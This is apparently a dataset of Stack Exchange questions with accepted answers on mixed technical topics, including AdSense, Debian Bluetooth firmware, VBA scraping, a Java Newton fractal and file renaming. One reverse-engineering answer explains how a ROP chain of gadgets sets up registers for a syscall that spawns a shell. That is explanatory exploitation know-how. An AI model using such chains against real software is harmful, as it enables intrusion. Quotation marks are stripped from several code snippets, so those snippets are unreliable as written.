{  "id": "_webmaster.105134"  , "question": "Suppose Mr.X visits a blog post on my website, views an advertisement by Google Adsense, gets what he came for and leaves the site. After some time, for some reason, he again visits the same blog post on my site and sees the same advertisement.Will the return visit of Mr.X be counted as 2 impressions by Google Adsense or 1 impression? And is there any time span (or something) after which it will be counted as 2 impressions?I searched Google, but did not manage to find a specific answer.Found a QA at this link: Does page impression get counted for unique visits? but neither did I understand the question nor do I think it addresses my problem."  , "title": "Does a returning visitor to a web page count as a page impression in Google Adsense?"  , "tags": "google analytics;google adsense"  , "accepted_answer": "Yes, That will be counted as 2 impression because An impression is counted for each ad request that returns at least one ad to the site. It is the number of ad units (for content ads) or search queries (for search ads) that showed ads.So there will be two Ad request for the same Ad but the Unique impression will be counted as 1. Source: https://support.google.com/adsense/answer/6157410?hl=en"  } 
{  "id": "_unix.359979"  , "question": "Why does Blutooth not connect? The Bluetooth unit can find, but not connect to other devices on Debian Testing (9.0 Stretch). Bluetooth works well with a different Operating System. BIOS settings permit wireless.The following packages were installed: bluez-firmwarebroadcom-sta-commonbroadcom-sta-dkmsbroadcom-sta-sourcefirmware-brcm80211firmware-misc-nonfree$ sudo dmesg | grep -i blue[   18.086647] Bluetooth: Core ver 2.22[   18.086660] Bluetooth: HCI device and connection manager initialized[   18.086663] Bluetooth: HCI socket layer initialized[   18.086664] Bluetooth: L2CAP socket layer initialized[   18.086668] Bluetooth: SCO socket layer initialized[   18.149652] Bluetooth: hci0: BCM: chip id 63[   18.165659] Bluetooth: hci0: BCM20702A[   18.166653] Bluetooth: hci0: BCM20702A1 (001.002.014) build 0000[   18.176624] bluetooth hci0: firmware: failed to load brcm/BCM20702A1-13d3-3404.hcd (-2)[   18.176665] bluetooth hci0: Direct firmware load for brcm/BCM20702A1-13d3-3404.hcd failed with error -2[   18.176668] Bluetooth: hci0: BCM: Patch brcm/BCM20702A1-13d3-3404.hcd not found[   18.553154] Bluetooth: BNEP (Ethernet Emulation) ver 1.3[   18.553156] Bluetooth: BNEP filters: protocol multicast[   18.553160] Bluetooth: BNEP socket layer initialized[   18.574361] Bluetooth: RFCOMM TTY layer initialized[   18.574365] Bluetooth: RFCOMM socket layer initialized[   18.574368] Bluetooth: RFCOMM ver 1.11$ lsmod | grep wlwl                   6443008  0cfg80211              589824  1 wl$ sudo modprobe -v broadcom-sta-dkmsmodprobe: FATAL: Module broadcom-sta-dkms not found in directory /lib/modules/4.9.0-2-amd64$ sudo dmesg | grep -i blu       [   18.086647] Bluetooth: Core ver 2.22                                                                                        [   18.086660] Bluetooth: HCI device and connection manager initialized                                                [   18.086663] Bluetooth: HCI socket layer initialized[   18.086664] Bluetooth: L2CAP socket layer initialized[   18.086668] Bluetooth: SCO socket layer initialized[   18.149652] Bluetooth: hci0: BCM: chip id 63[   18.165659] Bluetooth: hci0: BCM20702A[   18.166653] Bluetooth: hci0: BCM20702A1 (001.002.014) build 0000[   18.176624] bluetooth hci0: firmware: failed to load brcm/BCM20702A1-13d3-3404.hcd (-2)[   18.176665] bluetooth hci0: Direct firmware load for brcm/BCM20702A1-13d3-3404.hcd failed with error -2[   18.176668] Bluetooth: hci0: BCM: Patch brcm/BCM20702A1-13d3-3404.hcd not found[   18.553154] Bluetooth: BNEP (Ethernet Emulation) ver 1.3[   18.553156] Bluetooth: BNEP filters: protocol multicast[   18.553160] Bluetooth: BNEP socket layer initialized[   18.574361] Bluetooth: RFCOMM TTY layer initialized[   18.574365] Bluetooth: RFCOMM socket layer initialized[   18.574368] Bluetooth: RFCOMM ver 1.11Related Resources:BCM4352 WikiDevi Debian"  , "title": "Broadcom BCM4352 : Bluetooth does not connect"  , "tags": "debian;bluetooth;connectivity"  , "accepted_answer": "You are missing firmware for the bluetooth.cd /lib/firmware/brcmsudo wget https://github.com/winterheart/broadcom-bt-firmware/raw/master/brcm/BCM20702A1-13d3-3404.hcdsudo modprobe -r btusbsudo modprobe btusbSee if it works"  } 
{  "id": "_unix.225609"  , "question": "My brother recently bought a touch screen monitor Dell S2240T, I connected it to my laptop using HDMI interface. I'm using OpenSuse 13.2 with latest stable KDE4. Initially monitor display looks blurred, after manually setting monitor frequency to 60Hz, it look better. It recognized proper resolution 1080p but not using full width ofscreen.It is incorrectly recognizing location of touch input (for example if I touch on a folder in dolphin, it opens other folder) . Also multi-touch is not working.Is there any utility to properly calibrate touch screen? "  , "title": "Configuring touch screen monitor"  , "tags": "kde;touch screen;multi touch"  } 
{  "id": "_reverseengineering.11838"  , "question": "I recently saw a video of someone doing some rop work. And I have a lot of trouble about what is going on. His setup is like this:[garbage][xor eax][xor ebx][address of sh][pop ecx][address of Null byte][pop edx][address of Null byte][add eax 11]The first instruction is xor eax (where eip return is) , and I don't understand where the esp is when there are the pop instructionsLink to the video : https://youtu.be/uYHOxlYzH0A"  , "title": "Trouble understanding this rop chain"  , "tags": "assembly;buffer overflow"  , "accepted_answer": "The ROP chain uses gadgets, which are short code snippets performing a basic function. The instruction what you see in the Python script in the video are the gadgets names, which were selected in the beginning.As an example, the XOREAX gadget was a code snippet at address 0x080512c0, which contains the following instructions:xor eax, eaxretSo, whet the XOREAX gadget is called, the eax register is cleared and a ret instruction is executed. Because the ret load an address from the stack and jumps to it, this instruction is used to call the next gadget.What you see in the Python script is the construction of the payload, which will be placed into the stack. The first address will be the overwritten return address and the next values will be the addresses of the gadgets. In some places in the payload you see SH and NULL. It is because the previous gadget load some value from the stack into a register, so the value should be placed into the stack also. The SH is an address points to the sh string, while the NULL is an address points to a 0 value in the memory.So, the whole ROP chain is only initializes the registers to execute a system call.XOREAX                             -> clears EAXPOPEBX, SH                         -> moves 'sh' string to EBXPOPECX, NULL                       -> moves a pointer to a NULL value to ECXPOPEDX, NULL                       -> moves a pointer to a NULL value to EDXADDEAX3, ADDEAX3, ADDEAX3, ADDEAX2 -> set EAX to 11SYSCALL                            -> perform syscall instruction"  } 
{  "id": "_webmaster.100885"  , "question": "Most of the time, comment sections seem to be a playgrounds for arguments, insults and vulgarity.Maybe I shouldn't put one on my website, but if I do, what factors determine if a comment section thrives?The comment section will obviously vary enormously depending on the content of your website, but I am afraid that since my website is targeting  a non-technical large audience, there is too much room for the kind of comments we can see on 9gag or Youtube.(I will not be able to moderate or hire someone to do so)."  , "title": "What factors determine if a comment section thrives?"  , "tags": "html;design;comments"  , "accepted_answer": "If you won't be moderating it, then don't put one there. It WILL draw in the worst of the internet. Do what better sites do. Don't allow comments. Less than a third of all comments are beneficial and mostly in the smallest of ways."  } 
{  "id": "_unix.169819"  , "question": "How can I compare and print data from different text files to one in Shell. I have captures NAS details of three different boxes using SSH, now I need to combine all the three text files to one file and MOUNT NAME should be in the first column and if the same MOUNT were present in he three boxes then it should print in same line and if the MOUNT is presented only in BOX_B and BOX_C then MOUNT name should present in first column and Column for Box_A should be kept blankLets take two examples df_BoxA.txt and df_BoxB.txt and df_BoxC.txtExample:$cat df_BoxA.txt  /logs/boxA      2G     1.2G     7.7G    62%             NAS:/logs/boxA/data/boxA      2G     1.8G     2.0G    91%             NAS:/data/boxA /apps/boxA      2G     1.4G     5.7G    72%             NAS:/apps/boxA /data/java      1G     67M      9.3G    7%              NAS:/data/java/home/admin     10G    4.6G     54G     46%             NAS:/home/admin/admin/arch     10G    8.3G     19G     83%             NAS:/admin/arch/apps/dist      10G    8.3G     19G     83%             NAS:/apps/dist$cat df_BoxB.txt  /logs/boxA      2G     1.2G     7.7G    62%             NAS:/logs/boxB/data/boxA      2G     1.8G     2.0G    91%             NAS:/data/boxB /apps/boxA      2G     1.4G     5.7G    72%             NAS:/apps/boxB /home/user      40G    29.3G    107G    74%             NAS:/home/user1 /data/java      1G     67M      9.3G    7%              NAS:/data/java/home/admin     10G    4.6G     54G     46%             NAS:/home/admin/apps/dist      10G    8.3G     19G     83%             NAS:/apps/dist$cat df_BoxC.txt  /logs/boxA      2G     1.2G     7.7G    62%             NAS:/logs/boxC/data/boxA      2G     1.8G     2.0G    91%             NAS:/data/boxC /apps/boxA      2G     1.4G     5.7G    72%             NAS:/apps/boxC /home/user1     40G    29.3G    107G    74%             NAS:/home/user1 /home/admin     10G    4.6G     54G     46%             NAS:/home/admin/admin/arch     10G    8.3G     19G     83%             NAS:/admin/arch/apps/dist      10G    8.3G     19G     83%             NAS:/apps/distAfter combining all the three files the result should be like$cat result.txt /logs/boxA   2G     1.2G     7.7G    62% NAS:/logs/boxA 2G  1.2G  7.7G  62% NAS:/logs/boxB  2G   1.2G  7.7G  62% NAS:/logs/boxC/data/boxA   2G     1.8G     2.0G    91% NAS:/data/boxA 2G  1.8G  2.0G  91% NAS:/data/boxB  2G   1.8G  2.0G  91% NAS:/data/boxC/apps/boxA   2G     1.4G     5.7G    72% NAS:/apps/boxA 2G  1.4G  5.7G  72% NAS:/apps/boxB  2G   1.4G  5.7G  72% NAS:/apps/boxC /data/java   1G     67M     9.3G    7%   NAS:/data/java 1G  67M   9.3G  7%  NAS:/data/java/home/admin  10G    4.6G     54G     46% NAS:/home/admin10G 4.6G  54G   46% NAS:/home/admin 10G  4.6G  54G   46% NAS:/home/admin/admin/arch  10G    8.3G     19G     83% NAS:/admin/arch                                    10G  8.3G  19G   83% NAS:/admin/arch/apps/dist   10G    8.3G     19G     83% NAS:/apps/dist 10G 8.3G  19G   83% NAS:/apps/dist  10G  8.3G  19G   83% NAS:/apps/dist/home/user                                              40G 29.3G 107G  74% NAS:/home/user1 /home/user1                                                                                 40G  29.3G 107G  74% NAS:/home/user1I have tried of using pr command which is combining of the files which not the required result.Also tried of using sdiff but unable to get result.How can I solve this?"  , "title": "Compare and print data from different text files to one in Shell"  , "tags": "shell;awk;sort;join"  } 
{  "id": "_unix.237717"  , "question": "On a Debian machine, I have the BSD games installed, but I wanted to know if it was possible for the monop game to be played with other users on the server. This type of inter-terminal play is a feature of a few other BSD games in the suite but not this one.Is it possible to make monop inter-terminal? Or is there perhaps another Monopoly program somewhere else that has been created that does this already?"  , "title": "Creating inter-terminal applications for Linux systems"  , "tags": "linux;debian;terminal;bsd"  } 
{  "id": "_softwareengineering.309971"  , "question": "We have UI automation test framework based on selenium web driver.  We are in the early stages of building out load tests and are wondering if it is possible or recommended to use a browser based UI Automation framework for load testing vs the more traditional approach of simulating client requests at the HTTP layer.   We are hoping to avoid having two different frameworks for UI testing and Load testing if possible.I have found little information on the web regarding using automation UI tests for load testing.  What I have found states that although it is possible using some tool sets, it's impractical to reliably scale out.Should we attempt to build out a load test suite using UI automation tests or should we use a more traditional tool set built specifically for load testing?"  , "title": "Is it feasible to scale UI automation tests for load testing a web application?"  , "tags": "automation;load testing"  , "accepted_answer": "In my own experience, UI testing is relatively slow and not easy to scale, which will make load testing not really reliable or representative.When creating good webrequests for a load test, it will be easier to generate a heavy load and scale that up or down as you desire."  } 
{  "id": "_cs.48301"  , "question": "The question I'm faced with:Let $A[1], A[2], ...,A[n]$ be an array containing $n$ very large positive integers.Describe an efficient algorithm to find the minimum positive difference between any two integers in the array.What is the complexity of your algorithm? Explain.I would assume you apply a Merge Sort or Quick Sort $\\Theta(n(log (n))$ and then scan through the array, subtracting the second element from the previous element, all the way to the end? Or $n-1$ comparisons?So the complexity would be $\\Theta(n(log(n) + (n-1))$?"  , "title": "Algorithm to find min pos difference between two integers in an array"  , "tags": "algorithms;asymptotics;sorting;searching"  } 
{  "id": "_softwareengineering.226189"  , "question": "I'd like to create an app similar to Barbell Pro for Android, for practice / interest / educational purposes really.  Or even as another example for database purposes, Fitocracy The problem is, I have no idea how the database could be designed... For example:We have a 1000 Persons using the app Each Person could have 1-7 individualised WorkoutRoutines, depending on the day.  (Perhaps even more -> AM workouts / PM workouts) Each WorkoutRoutine has an individual set of Exercises, with some crossover e.g. someone could do Bench Press on Monday and on Friday afterall.Each Exercise has a number of SetsEach Set has a number of RepsNow to me, this seems like it could potentially be a large amount of information to store for Each Person, and maybe pretty complicated to do so.  I only have some experience with relational databases and I don't know how I'd go about designing that in an efficient matter for a relational database.I'm not asking for a design, just how I'd begin to go about it.  The potential complexity is daunting for me due to lack of database experience.  Maybe it's not even that complicated, but like I say, ignorance from myself."  , "title": "Designing a fitness / weight lifiting routine database"  , "tags": "design patterns;database design"  , "accepted_answer": "Here is a prototype database schema.  It allows the creation of different exercise routines, assigns those routines to a person by date, and even has a place to log the exercises executed, and the number of reps."  } 
{  "id": "_codereview.7587"  , "question": "What do you think of http://websilon.org/? Are there things that can be improved? Is there something missing? See the source of the webpages for code.<!DOCTYPE HTML><html><head><title>Websilon - Mathematical Knowledge Base</title><meta http-equiv=Content-Type content=text/html; charset=UTF-8 /><meta http-equiv=X-UA-Compatible content=IE=EmulateIE7 /><meta name=robots content=index, follow /><meta name=keywords content=websilon, mathematics, math, knowlegde /><meta name=description content=Websilon - Mathematical knowledge base /><meta http-equiv=Content-Language content=en /><meta name=rating content=safe for kids /><meta name=copyright content=Websilon.org /><meta name=publisher content=Websilon.org /><meta name=author content=Websilon.org /><link rel=shortcut icon href=/favicon.ico>  <link rel=apple-touch-icon href=/apple-touch-icon.png /><link rel=stylesheet href=/css/page/1.css /><meta name=viewport content=initial-scale=1.0; maximum-scale=1.0; user-scalable=yes; /><script src=/module/jquery/js/jquery-1.6.2.min.js /></script><script src=/module/jquery/js/jquery-ui-1.8.16.custom.min.js /></script><link rel=stylesheet href=/module/jquery/css/smoothness/jquery-ui-1.8.16.custom.css /><script type=text/x-mathjax-config>MathJax.Hub.Config({    extensions: [tex2jax.js],    jax: [input/TeX,output/HTML-CSS],    tex2jax: {inlineMath: [[$,$]]}});</script><script type=text/javascript src=/module/mathjax/MathJax.js></script><script type=text/javascript>  var _gaq = _gaq || [];  _gaq.push(['_setAccount', 'UA-28191597-1']);  _gaq.push(['_trackPageview']);  (function() {    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);  })();</script></head><body>    <style>.menu {    margin: 0;    padding: 0;}.menu .content {    width: 98%;    padding: 0;    margin: 1%;    margin-top: 0;    margin-bottom: 0;}.menu .content button {    margin-right: 10px;}.menu {    display: none;    width: 100%;    height: 50px;    line-height: 50px;    background-color: #333333;    color: #FFFFFF;    font-size: 80%;}.menu ul {    display: none;    margin: 0;    padding: 0;    width: 200px;    position: absolute;    left: 0;    top: 50px;    border-top: 0;    font-size: 90%;    z-index: 99999;    background-color: #252525;}.menu ul li a:active,.menu ul li a:hover,.menu ul li a:link,.menu ul li a:visited,.menu ul li {    padding: 0px 20px;    text-decoration: none;    color: #AFAFAF;}.menu ul li {    padding: 0;}.menu ul li:hover > a {    color: #FFFFFF;}.menu ul li:hover {    background-color: #0B5ED9;}.menu ul li a {    display: block;}.menu > li a:active,.menu > li a:hover,.menu > li a:link,.menu > li a:visited,.menu > li {    font-size: 120%;    text-decoration: none;    color: #FFFFFF;}.menu > li:hover {    background-color: #666666;}.menu > li {    position: relative;    float: left;}.menu > li > a {    display: block;    padding: 15px;    padding-top: 0;    padding-bottom: 0;    height: 50px;    width: 100%;}.menu > li:hover > ul {    display: block;}.menu li {    list-style-type: none;}hr {    width: 100%;    border: 1px solid #CCCCCC;    border-bottom: 0;}</style><script>function TopMenu(selector) {    var mainClass = this;    var environment = selector;    $(selector).css('z-index', 999999);    $(window).scroll(function(e) {        if ($(window).scrollTop() > 0) {            $(selector).css({                position: 'fixed',                top: '0'            });        } else {            $(selector).css({                position: 'static'            });        }    });    $(selector).css('display', 'none');    $(selector).ready(function() {        if (typeof(mainClass.onLoad) == 'function') {            mainClass.onLoad($(this));        }        $(selector).css('display', 'block');    });    /**     * Get the height of the menu.     *     * @return  Menu height (int, pixels)     */    this.getHeight = function() {        return parseInt($(selector).outerHeight());    }}</script><ul class=menu><li><a href=/>Home</a></li><li><a href=#>Me</a>    <ul>        <li><a href=http://websilon.org/users/1/kevin/>Dashboard</a></li>                <li><a href=/user/edit/>Settings</a></li>        <li><a href=/user/logout/>Log out</a></li>    </ul></li><li><a href=#>Talk</a><ul>        <li><a href=/talk/>Discussions</a></li>    <li><a href=/talk/create/>New discussion</a></li></ul></li><li><a href=#>Knowledge</a>    <ul>        <li><a href=/kb/>Overview</a></li>        <li><a href=/kb/create/>Create</a></li>    </ul></li></ul><script>TopMenu('.menu');</script>    <div id=content>        <h1>Websilon.org</h1>            <p>            Websilon is an open knowledge platform. It's a dynamic study environment. Books are static; if there is new knowledge, it will take a while before you can read it in books.            </p>            <p>            Now we are in developing stage. You can partly use it and share some knowledge. If you would like to join or give ideas, please visit the <a href=/talk/view/1>Development</a> discussion.            </p>    </div></body></html>"  , "title": "New web project"  , "tags": "javascript;html;css"  } 
{  "id": "_codereview.172945"  , "question": "I've written some code in vba for the purpose of making twofold POST requests to get to the destination page and  harvest name and address from there. There are two types of structures within which the desired results lie. One type of structure holds name and address in a single th storage and the other holds name in one td and address in another td. So, to handle this I had to use error handler to get the most out of it. By using xmlhttp I could not get any result so I used WinHttpRequest in my script to get the result by enabling redirection. My script is running errorlessly at this moment. However, any suggestion to improve my code specially by handling error more efficiently will be highly appreciated.Here is the full working code:Sub reverse_scraping()    Dim http As New WinHttp.WinHttpRequest, html As New HTMLDocument    Dim posts As Object, post As Object    Dim ArgStr As String, ArgStr_ano As String, cNo As String, cName As String    For Each cel In Range(A2:A & Cells(Rows.Count, 1).End(xlUp).Row)        If cel.Value <>  Then            cNo = cel.Value            cName = Replace(cel.Offset(0, 1).Value,  , +)        End If        ArgStr = search=addr        ArgStr_ano = TaxYear=2017&stnum= & cNo & &stname= & cName        With http            .Option(6) = True            .Open POST, https://public.hcad.org/records/QuickSearch.asp, False            .setRequestHeader Content-type, application/x-www-form-urlencoded            .setRequestHeader User-Agent, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36            .setRequestHeader Referer, https://public.hcad.org/records/quicksearch.asp            .send ArgStr        End With        With http            .Option(6) = True            .Open POST, https://public.hcad.org/records/QuickRecord.asp, False            .setRequestHeader Content-type, application/x-www-form-urlencoded            .setRequestHeader User-Agent, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36            .setRequestHeader Referer, https://public.hcad.org/records/quicksearch.asp            .send ArgStr_ano            html.body.innerHTML = .responseText        End With        On Error Resume Next        Set posts = html.getElementsByClassName(data)(2).getElementsByTagName(th)        Set post = html.getElementsByClassName(bgcolor_1)(0).getElementsByTagName(tr)(1).getElementsByTagName(td)        If posts.Length Or post.Length Then            cel.Offset(0, 2) = posts(0).innerText            cel.Offset(0, 2) = post(1).innerText            cel.Offset(0, 3) = post(2).innerText        End If    Next celEnd SubHere are the two links to show how to reach the destination page (in first link it is needed to click on the search by address button to get the search option):1 https://www.dropbox.com/s/e9on9zwqzmcboze/1Untitled.jpg?dl=02 https://www.dropbox.com/s/0lchpde8uq63jps/pics.jpg?dl=0search to be made using the below documents placing those in column A and B respectively and results will be placed in column c to the corresponding cells.Street No   Street Name6330        LAUTREC DR5522        DARLING ST7411        SANDLE ST10234       LUCORE ST"  , "title": "Fetching data from a website using POST request"  , "tags": "vba;web scraping"  } 
{  "id": "_softwareengineering.344671"  , "question": "I need to process a large number of data items, and I need to restrict the speed at which they are processed. For example, not more than 20 items per minute.I've thought about an algorithm for that, where I'd keep a list with the time when each past item was processed, then I can know how many more I can process at a given time.However, this is not very elegant since I need to manage this list. I'm wondering, is there any known algorithm that handles this problem?Edit:To answer the comments: processing should be as fast as possible. And it's 1-minute intervals no matter when they start. I will be sending data to a server, so the goal is not to overload that server. However, the faster the processing can be done the better."  , "title": "Algorithm to limit the speed of processing items"  , "tags": "algorithms;speed;stream processing"  } 
{  "id": "_codereview.140254"  , "question": "I developed a program that creates and displays a Newton fractal based on a complex polynomial.For example, the complex polynomial:$$z^{3}-1$$which is what is given as input in the code, will produce an image similar to this one:Basically what happens is that the program finds the function's derivative, uses it to perform Newton's method, and then gets the result from Newton's method to color in the pixels of a BufferedImage, each of which represents a point on the complex plane. Each color represents a solution (a.k.a. root or zero) of the polynomial that a point inside that color will converge to through Newton's method, and the different color shades represent how many iterations of Newton's method it takes for the resulting series of points to converge, with a darker shade indicating a greater number of iterations.This program works fine. The issue I'm having is that each time I change the polynomial function, I also have to manually insert the solutions of said polynomial into the zeros array, which (unsurprisingly?) has become somewhat tedious. But as far as I know, I have to do so in order for the program to know which solutions the points converge to.Is there any way to modify the code such that I don't have to re-enter the polynomial's solutions, such as calculating them beforehand?import java.awt.Color;import java.awt.Dimension;import java.awt.Graphics;import java.awt.image.BufferedImage;import java.util.function.Function;import java.util.ArrayList;import java.util.List;import javax.swing.JFrame;import javax.swing.JPanel;import javax.swing.SwingUtilities;public class FractalGenerator {    private BufferedImage img;    private int imageWidth = 500, imageHeight = imageWidth;    private double xMin = -2, xMax = 2, yMin = -2, yMax = 2;    private final ComplexNumber[] zeros;    private Function<ComplexNumber, ComplexNumber> function, preDerivative, derivative;    public FractalGenerator() {        double h = 1E-8;        function = z -> z.pow(3).subtract(1, 0);        preDerivative = function.compose((ComplexNumber c) -> c.add(h, 0));        derivative = c -> preDerivative.apply(c).subtract(function.apply(c)).divide(h);        zeros = new ComplexNumber[] {new ComplexNumber(1, 0),                                     new ComplexNumber(-.5, Math.sqrt(3)/2),                                     new ComplexNumber(-.5, -Math.sqrt(3)/2)};        createImage();        createAndShowGUI();    }    private void createAndShowGUI() {        SwingUtilities.invokeLater(() -> {            JFrame frame = new JFrame();            JPanel panel = new JPanel() {                @Override                protected void paintComponent(Graphics g) {                    super.paintComponent(g);                    g.drawImage(img, 0, 0, this);                }                @Override                public Dimension getPreferredSize() {                    return new Dimension(imageWidth, imageHeight);                }            };            frame.add(panel);            frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);            frame.pack();            frame.setVisible(true);        });    }    private void createImage() {        double reductionFactor = .96;        double graphWidth = xMax - xMin, graphHeight = yMax - yMin;        img = new BufferedImage(imageWidth, imageHeight, BufferedImage.TYPE_INT_RGB);        Graphics g = img.getGraphics();        for (int y = 0; y < imageHeight; y++) {            double graphY = yMax - y * graphHeight /(double) imageHeight;            for (int x = 0; x < imageWidth; x++) {                double graphX = xMin + x * graphWidth / (double) imageWidth;                int[] arr = applyNewtonMethod(graphX, graphY);                if (arr[0] == -1)                    g.setColor(Color.black);                else {                    Color color = getColor(arr[0]);                    int red = color.getRed(), green = color.getGreen(), blue = color.getBlue();                    for (int i = 0; i < arr[1]; i++) {                        red = (int) (red * reductionFactor);                        green = (int) (green * reductionFactor);                        blue = (int) (blue * reductionFactor);                    }                    g.setColor(new Color(red, green, blue));                }                g.drawLine(x, y, x, y);            }        }    }    private int[] applyNewtonMethod(double x, double y) {        ComplexNumber c = new ComplexNumber(x, y);        double tolerance = 1E-6;        int iterations = 1, max = 512;        while (iterations < max) {            c = c.subtract(function.apply(c).divide(derivative.apply(c)));            for (int k = 0; k < zeros.length; k++) {                ComplexNumber z = zeros[k], difference = c.subtract(z);                if (Math.abs(difference.getReal()) < tolerance && Math.abs(difference.getImaginary()) < tolerance)                    return new int[] {k, iterations};            }            iterations++;        }        return new int[] {-1};    }    private Color getColor(int num) {        switch (num) {            case 0: return Color.red;            case 1: return Color.green;            case 2: return Color.blue;            case 3: return Color.yellow;            case 4: return Color.magenta;            case 5: return Color.cyan;            case 6: return Color.white;            case 7: return new Color(139, 69, 19);            case 8: return new Color(255, 165, 0);            case 9: return new Color(255, 192, 203);            default: return Color.black;        }    }    public static void main(String[] args) {        new FractalGenerator();    }}Here's ComplexNumber.java for convenience:public class ComplexNumber {    double real, imaginary;    public ComplexNumber(double real, double imaginary) {        this.real = real;        this.imaginary = imaginary;    }    public ComplexNumber add(double real, double imaginary) {        return new ComplexNumber(this.real + real, this.imaginary + imaginary);    }    public ComplexNumber add(ComplexNumber c) {        return new ComplexNumber(this.real + c.real, this.imaginary + c.imaginary);    }    public ComplexNumber subtract(double real, double imaginary) {        return new ComplexNumber(this.real - real, this.imaginary - imaginary);    }    public ComplexNumber subtract(ComplexNumber c) {        return new ComplexNumber(this.real - c.real, this.imaginary - c.imaginary);    }    public ComplexNumber multiply(double scalar) {        return new ComplexNumber(real * scalar, imaginary * scalar);    }    public ComplexNumber multiply(ComplexNumber c) {        return new ComplexNumber(real * c.real - imaginary * c.imaginary, real * c.imaginary + imaginary * c.real);    }    public ComplexNumber divide(double scalar) {        return multiply(1.0 / scalar);    }    public ComplexNumber divide(ComplexNumber c) {        return multiply(c.getConjugate()).multiply(1.0 / (c.real * c.real + c.imaginary * c.imaginary));    }    public ComplexNumber getConjugate() {        return new ComplexNumber(real, imaginary * -1);    }    public ComplexNumber pow(int exp) {        ComplexNumber c = new ComplexNumber(real, imaginary);        for (int k = 1; k < exp; k++) {            c = multiply(c);        }        return c;    }    public ComplexNumber exp() {        return new ComplexNumber(Math.exp(real) * Math.cos(imaginary), Math.exp(real) * Math.sin(imaginary));    }    public static ComplexNumber exp(ComplexNumber c) {        return c.exp();    }    public ComplexNumber cos() {        return exp(multiply(new ComplexNumber(0, 1))).add(exp(multiply(new ComplexNumber(0, -1)))).divide(2);    }    public static ComplexNumber cos(ComplexNumber c) {        return c.cos();    }    public ComplexNumber sin() {        return exp(multiply(new ComplexNumber(0, 1))).subtract(exp(multiply(new ComplexNumber(0, -1)))).divide(new ComplexNumber(0, 2));    }    public static ComplexNumber sin(ComplexNumber c) {        return c.sin();    }    public ComplexNumber tan() {        return sin().divide(cos());    }    public static ComplexNumber tan(ComplexNumber c) {        return c.sin().divide(c.cos());    }    public double getReal() {        return real;    }    public double getImaginary() {        return imaginary;    }    @Override    public String toString() {        return  + real + (imaginary >= 0 ? + : ) + imaginary + i;    }}"  , "title": "Creating a Newton fractal based on a polynomial"  , "tags": "java;algorithm;graphics;fractals"  , "accepted_answer": "                for (int i = 0; i < arr[1]; i++) {                    red = (int) (red * reductionFactor);                    green = (int) (green * reductionFactor);                    blue = (int) (blue * reductionFactor);                }That loop could be avoided with                double pixelReductionFactor = Math.pow(reductionFactor, arr[1]);                red = (int) (red * pixelReductionFactor);                green = (int) (green * pixelReductionFactor);                blue = (int) (blue * pixelReductionFactor);Although perhaps it would be nicer still to interpolate in a more uniform colour space than RGB. In my Newton fractal code (golfed, I'm afraid), I use Color.HSBtoRGB.    while (iterations < max) {        c = c.subtract(function.apply(c).divide(derivative.apply(c)));        for (int k = 0; k < zeros.length; k++) {            ComplexNumber z = zeros[k], difference = c.subtract(z);            if (Math.abs(difference.getReal()) < tolerance && Math.abs(difference.getImaginary()) < tolerance)                return new int[] {k, iterations};        }        iterations++;    }If you want to avoid hard-coding the zeroes, the easy approach is to check for convergence to itself. With a tiny bit of optimisation this becomes    while (iterations < max) {        ComplexNumber difference = function.apply(c).divide(derivative.apply(c));        if (Math.abs(difference.getReal()) < tolerance && Math.abs(difference.getImaginary()) < tolerance)            // TODO Find k            return new int[] {k, iterations};        }        iterations++;        c = c.subtract(difference);    }Since this approach starts without a list of zeroes, it must build it up as it goes. The TODO would search a list for a zero within 2 * tolerance, and if there is none it would add c (or perhaps better c.add(difference.divide(2))) to the list."  } 
{  "id": "_unix.116770"  , "question": "I have a directory which contains image files with names like image1.jpg image2.jpg image3.jpg...Unfortunately, the image names must be zero based, so image1.jpg should be image0.jpg, image2.jpg should be image1.jpg and so on. I can write a script to generate mv commands like these, put them in a shell script, and then execute them - mv image1.jpg image0.jpgmv image2.jpg image1.jpgmv image3.jpg image2.jpg...But I suppose there is a neater way to do it in Unix. So what is it? "  , "title": "Subtract 1 from all file names (rename them) in a directory."  , "tags": "command line;rename"  , "accepted_answer": "The good old perl rename:rename 's/(\\d+)(\\.jpg)/($1-1).$2/e' *[Remarks]Image numbers should be greater than 0.In case images are greater than 9 and have not leading 0s,use $(ls -v1 *) to avoid clobbering. Proposed by @arielf and noticed by @Graeme.When in doubt use also -v for verbose and -n for no-action."  } 
{  "id": "_computergraphics.5236"  , "question": "tl;dr Is there a name for a type of (non-physical) projection that causes objects to become larger the farther they are from a camera?With a fisheye projection, an object twice as far from the camera is less than half the size on screen. (I think; my understanding of fisheye math is fuzzy. I gather there are various projections/mapping functions.) There is massive foreshortening, objects shrink very quickly as they move away.With a rectilinear projection, an object twice as far from the camera is always half the size on screen, regardless of FoV. This is how trigonometry works. Infinitely-far objects have zero size.With an orthographic projection, an object twice as far from the camera is always the same size on screen. There is no foreshortening. Infinitely-far objects have the same size.Now, go one step farther. I want negative foreshortening. I want to see an object get bigger the farther away it gets. Infinitely-far objects have infinite size."  , "title": "3D projection that increases objects' size as they become more distant"  , "tags": "rendering;3d;projections"  , "accepted_answer": "After a quick google of 'Inverted perspective' I found out that you have five different names for it; Reverse perspective, inverse perspective, inverted perspective, divergent perspective and Byzantine perspective. https://en.wikipedia.org/wiki/Reverse_perspectiveI think that if you want to use it in a render engine using a projection matrix, in the perspective divide, you use multiply by w instead of divide. This is because in a perspective projection, the divide by w is what actually gives the perspective. In a orthographic projection w is always 1, meaning that there is no actual perspective.For a ray tracer you probably just need to scale the image plane up of course, but probably instead of having the origin of the ray to be the center of the camera, you have some kind of second image plane that is larger than the actual image plane. If both are the same size, the rays are straight and you have an orthographic projection, if the actual image plane is smaller then you have your Reverse perspective.Quick extra note: If you have proper lenses, you might be able to get this effect in real life. Yes, you would need to have a lens that is a few meters in diameter, but I do not think it is impossible! :PI hope this will help you and that I have not made any mistakes. Good luck with whatever you are doing!"  } 
